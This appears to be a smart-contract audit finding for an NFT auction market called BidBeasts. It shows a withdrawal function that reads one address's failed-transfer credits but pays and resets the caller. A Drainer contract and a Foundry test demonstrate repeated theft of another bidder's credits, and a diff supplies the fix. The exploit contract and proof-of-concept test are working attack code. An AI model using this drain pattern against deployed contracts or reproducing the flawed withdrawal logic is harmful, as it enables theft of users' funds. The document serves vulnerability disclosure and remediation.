function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
contract RejectBidder {
BidBeastsNFTMarket immutable market;
constructor(BidBeastsNFTMarket m) { market = m; }
function bid(uint256 tokenId, uint256 amount) external payable {
require(msg.value == amount, "bad value");
market.placeBid{value: amount}(tokenId);
}
}
contract Drainer {
BidBeastsNFTMarket immutable market;
constructor(BidBeastsNFTMarket m) { market = m; }
function drain(address victim) external {
market.withdrawAllFailedCredits(victim);
}
}
function test_CreditsCanBeStolenAndRepeatedlyDrained() public {
BidBeasts nft = new BidBeasts();
BidBeastsNFTMarket market = new BidBeastsNFTMarket(address(nft));
address seller = address(0xA11CE);
RejectBidder victim = new RejectBidder(market);
Drainer attacker = new Drainer(market);
vm.prank(nft.owner());
nft.mint(seller);
vm.startPrank(seller);
nft.approve(address(market), 0);
market.listNFT(0, 1 ether, 0);
vm.stopPrank();
vm.deal(address(victim), 10 ether);
vm.prank(address(victim));
victim.bid{value: 1 ether}(0, 1 ether);
address honestBidder = address(0xB1D);
vm.deal(honestBidder, 10 ether);
vm.prank(honestBidder);
market.placeBid{value: 2 ether}(0);
assertEq(market.failedTransferCredits(address(victim)), 1 ether);
vm.deal(address(market), 5 ether);
uint256 marketBalBefore = address(market).balance;
uint256 attackerBalBefore = address(attacker).balance;
vm.prank(address(attacker));
attacker.drain(address(victim));
assertEq(market.failedTransferCredits(address(victim)), 1 ether);
assertEq(address(market).balance, marketBalBefore - 1 ether);
assertEq(address(attacker).balance, attackerBalBefore + 1 ether);
vm.prank(address(attacker));
attacker.drain(address(victim));
assertEq(address(attacker).balance, attackerBalBefore + 2 ether);
}
- function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
- require(amount > 0, "No credits to withdraw");
-
- failedTransferCredits[msg.sender] = 0;
-
- (bool success, ) = payable(msg.sender).call{value: amount}("");
- require(success, "Withdraw failed");
- }
+ function withdrawFailedCredits() external nonReentrant {
+ uint256 amount = failedTransferCredits[msg.sender];
+ require(amount > 0, "No credits to withdraw");
+ failedTransferCredits[msg.sender] = 0;
+ (bool success, ) = payable(msg.sender).call{value: amount}("");
+ require(success, "Withdraw failed");
+ }